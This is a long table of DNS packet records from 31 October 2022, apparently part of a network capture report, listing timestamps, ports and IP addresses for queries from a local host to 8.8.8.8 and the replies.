Oct 31, 2022 12:20:29.433026075 CET	65320	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.455766916 CET	53	65320	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.467056990 CET	60929	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.487287998 CET	53	60929	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.515758991 CET	52958	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.535104990 CET	53	52958	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.540052891 CET	50243	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.525465965 CET	50243	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.633501053 CET	53	50243	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.642304897 CET	54420	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.650727034 CET	53	50243	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.664021969 CET	53	54420	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.677254915 CET	61326	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.705430984 CET	53	61326	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.713943005 CET	57124	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.735570908 CET	53	57124	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.744185925 CET	55813	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.794639111 CET	53	55813	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.801383972 CET	50048	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.822917938 CET	53	50048	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.835643053 CET	56519	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.864156008 CET	53	56519	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.876596928 CET	50134	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:30.896719933 CET	53	50134	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:30.905956984 CET	52882	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:31.915916920 CET	52882	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:31.933162928 CET	53	52882	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:31.941760063 CET	53	52882	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:31.944062948 CET	58826	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:31.965202093 CET	53	58826	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:31.971436977 CET	53463	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.019478083 CET	53	53463	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.025804996 CET	58344	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.044989109 CET	53	58344	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.050234079 CET	57300	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.100949049 CET	53	57300	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.111550093 CET	61424	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.131016970 CET	53	61424	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.135974884 CET	57790	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.157188892 CET	53	57790	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.167238951 CET	49853	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.189099073 CET	53	49853	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.194593906 CET	55658	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.220613956 CET	53	55658	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.238512993 CET	60537	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.259061098 CET	53	60537	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.264178038 CET	51856	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.285077095 CET	53	51856	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.296879053 CET	50125	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.318762064 CET	53	50125	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.328975916 CET	61344	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.349982977 CET	53	61344	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.364291906 CET	53940	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.385277987 CET	53	53940	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.393126011 CET	57391	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.418260098 CET	53	57391	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.425436974 CET	63602	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.445801973 CET	53	63602	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.451524019 CET	58622	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.532104015 CET	53	58622	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.542072058 CET	65066	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.563831091 CET	53	65066	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.570823908 CET	62014	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.618375063 CET	53	62014	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.628247976 CET	53829	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.648530006 CET	53	53829	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.654000998 CET	51163	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.704210997 CET	53	51163	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.718271971 CET	59019	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.740035057 CET	53	59019	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.751317978 CET	65212	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.762506008 CET	51872	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.779261112 CET	53	65212	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.780591011 CET	53	51872	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.796463966 CET	55743	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.817650080 CET	53	55743	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.824506998 CET	52856	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.872436047 CET	53	52856	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:32.880081892 CET	65500	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:32.901082039 CET	53	65500	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.171503067 CET	60338	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.188760996 CET	60216	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.208132982 CET	53	60216	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.359755993 CET	51211	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.386157036 CET	53	51211	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.395687103 CET	61534	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.415776014 CET	53	61534	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.449960947 CET	52670	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.466209888 CET	56246	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.477665901 CET	53	52670	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.485636950 CET	56053	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.491805077 CET	53	56246	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.507047892 CET	53	56053	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.527724028 CET	60920	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.531707048 CET	53330	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.550987959 CET	53	53330	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.555491924 CET	53	60920	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.569408894 CET	60435	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.591600895 CET	53	60435	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.598815918 CET	59538	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.619995117 CET	53	59538	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.637396097 CET	57092	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.656663895 CET	53	57092	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.710463047 CET	52172	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.728604078 CET	52074	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.729218960 CET	53	52172	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.745541096 CET	53	52074	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.764635086 CET	65136	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.792478085 CET	53	65136	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.801522017 CET	59024	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.829132080 CET	53	59024	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.834136009 CET	54989	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.854976892 CET	53	54989	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.901721954 CET	49524	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.924256086 CET	53	49524	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.942265034 CET	63006	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.963751078 CET	53	63006	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:33.975394964 CET	52200	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.988917112 CET	54141	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:33.992924929 CET	53	52200	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:34.017424107 CET	53	54141	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:34.024641991 CET	60878	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:34.043932915 CET	53	60878	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:34.223273039 CET	60338	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:34.459646940 CET	55382	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:34.499699116 CET	53	55382	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.193356991 CET	55048	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.213179111 CET	53	55048	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.273942947 CET	60338	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.374617100 CET	54618	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.392371893 CET	53	54618	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.442693949 CET	58577	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.445364952 CET	51104	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.462503910 CET	53	58577	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.464955091 CET	53	51104	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.471622944 CET	63734	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.502358913 CET	53	63734	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.518130064 CET	59020	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.576953888 CET	53	60338	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.646409988 CET	53	59020	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:35.650185108 CET	57291	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:35.669836998 CET	53	57291	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:36.076632977 CET	61882	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:36.096098900 CET	53	61882	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:36.674356937 CET	53	60338	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:37.674669027 CET	53	60338	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.576859951 CET	60576	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.592684031 CET	60690	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.595419884 CET	53	60576	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.600764990 CET	52208	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.628467083 CET	49963	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.645159960 CET	53	49963	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.650510073 CET	60161	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.652196884 CET	53	60690	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.658984900 CET	63308	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.667843103 CET	53	60161	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.676357031 CET	53	63308	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.686379910 CET	57713	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.705647945 CET	53	57713	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.707926989 CET	53	52208	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:39.711714983 CET	58872	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:39.729090929 CET	53	58872	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:40.164535046 CET	60705	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:40.183614016 CET	53	60705	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:40.184391975 CET	59287	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:40.203073978 CET	53	59287	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:40.576638937 CET	49693	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:40.593945980 CET	53	49693	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:41.060292959 CET	59127	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:41.077972889 CET	51367	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:41.086621046 CET	53	59127	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:41.097956896 CET	53	51367	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:41.502057076 CET	64330	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:41.527244091 CET	53	64330	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:41.574901104 CET	53212	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:41.602737904 CET	53	53212	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:43.834975004 CET	55291	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:43.853931904 CET	53	55291	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:43.858138084 CET	53077	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:43.873586893 CET	59185	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:43.875706911 CET	53	53077	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:43.892800093 CET	53	59185	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:43.897311926 CET	53239	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:43.914138079 CET	53	53239	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:43.924096107 CET	50377	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:44.390279055 CET	54428	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:44.409775972 CET	53	54428	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:44.945548058 CET	50377	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:45.964775085 CET	50377	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.017004013 CET	50297	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.043936014 CET	53	50297	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:46.230830908 CET	51299	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.250387907 CET	53	51299	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:46.371042013 CET	53	50377	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:46.482403040 CET	60171	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.501503944 CET	53	60171	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:46.505548000 CET	50249	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.563148975 CET	53	50249	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:46.804831028 CET	49298	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:46.824239016 CET	53	49298	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:47.347696066 CET	53	50377	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:48.418245077 CET	53	50377	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:48.959939003 CET	62275	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:48.979650974 CET	53	62275	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:50.611046076 CET	49300	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:50.630481005 CET	53	49300	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:50.635234118 CET	53700	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:50.709650040 CET	65087	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:50.729116917 CET	53	65087	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:50.788513899 CET	53	53700	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:50.925667048 CET	53061	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:50.945475101 CET	53	53061	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:50.992660999 CET	63445	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:51.067373037 CET	63200	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:51.084718943 CET	53	63200	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:51.121418953 CET	51846	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:51.128732920 CET	53	63445	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:51.135166883 CET	50467	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:51.141241074 CET	53	51846	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:51.243191004 CET	53	50467	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:52.179006100 CET	59287	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:52.206696033 CET	53	59287	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:53.798300028 CET	62216	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:53.839629889 CET	53	62216	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.275083065 CET	51181	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.296370029 CET	53	51181	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.452681065 CET	52604	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.472740889 CET	53	52604	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.685084105 CET	54078	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.711071014 CET	53	54078	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.717526913 CET	50028	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.737014055 CET	53	50028	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.742117882 CET	49960	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.789825916 CET	53	49960	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.795262098 CET	53177	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.816859961 CET	53	53177	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:54.912559986 CET	56350	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:54.949513912 CET	53	56350	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.005846977 CET	59633	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.056597948 CET	53	59633	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.063812017 CET	50791	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.083087921 CET	53	50791	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.091648102 CET	54137	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.110582113 CET	53	54137	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.127737999 CET	61305	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.129017115 CET	62941	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.145946980 CET	53	62941	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.149645090 CET	53	61305	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.150768042 CET	56796	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.162980080 CET	50219	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.168016911 CET	53	56796	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.175926924 CET	56567	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.182348013 CET	53	50219	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.193120003 CET	53	56567	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.194024086 CET	59463	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.237135887 CET	59300	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.256678104 CET	53	59300	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.269450903 CET	53379	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.271030903 CET	57343	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.288585901 CET	53	53379	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.290389061 CET	53	57343	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.293661118 CET	54982	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.297769070 CET	58639	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.301947117 CET	53	59463	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.307564974 CET	52280	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.312693119 CET	53	54982	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.325423956 CET	53	58639	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.329183102 CET	53	52280	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.650944948 CET	52956	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.678520918 CET	53	52956	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.736538887 CET	55302	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.757261038 CET	53	55302	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.764090061 CET	61467	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.785322905 CET	53	61467	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.792229891 CET	53316	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.820395947 CET	53	53316	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.828655005 CET	61382	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.849869967 CET	53	61382	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.856865883 CET	63694	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.884855032 CET	53	63694	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.890244007 CET	58890	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.912018061 CET	53	58890	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.918438911 CET	54564	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.939788103 CET	53	54564	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.946484089 CET	62809	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:55.969981909 CET	53	62809	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:55.983244896 CET	52157	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.059149027 CET	53	52157	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.068105936 CET	55433	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.091815948 CET	53	55433	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.156384945 CET	55536	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.173979044 CET	53	55536	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.186054945 CET	51612	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.205557108 CET	53	51612	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.496464014 CET	58057	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.524277925 CET	53	58057	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.626390934 CET	64878	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.647707939 CET	53	64878	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.654298067 CET	65513	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.679697037 CET	56714	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.707377911 CET	53	56714	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.785193920 CET	53	65513	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.812972069 CET	63932	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.835087061 CET	53	63932	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:56.841909885 CET	59503	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:56.892214060 CET	53	59503	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:57.369019985 CET	56543	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:57.396265030 CET	53	56543	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:57.436831951 CET	56557	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:57.455954075 CET	53	56557	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:57.909332037 CET	51086	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:57.928786993 CET	53	51086	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:58.660368919 CET	50876	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:58.685291052 CET	53	50876	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:59.163574934 CET	50993	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:59.183103085 CET	53	50993	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:59.330152035 CET	53414	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:00.374309063 CET	53414	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.175844908 CET	56570	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.193152905 CET	53	56570	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.197813988 CET	49944	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.217515945 CET	53	49944	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.273317099 CET	57556	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.281815052 CET	65293	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.292692900 CET	53	57556	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.299082041 CET	58899	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.299510002 CET	53	65293	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.304177999 CET	61770	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.321537018 CET	53	61770	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.371952057 CET	53414	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:01.455252886 CET	53	58899	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:01.735126019 CET	53	53414	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:02.854388952 CET	53	53414	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:04.726818085 CET	53	53414	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.377559900 CET	64354	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.397170067 CET	53	64354	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.402447939 CET	52883	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.423379898 CET	53201	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.442821026 CET	53	53201	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.448909044 CET	60161	53	192.168.2.5	8.8.8.8
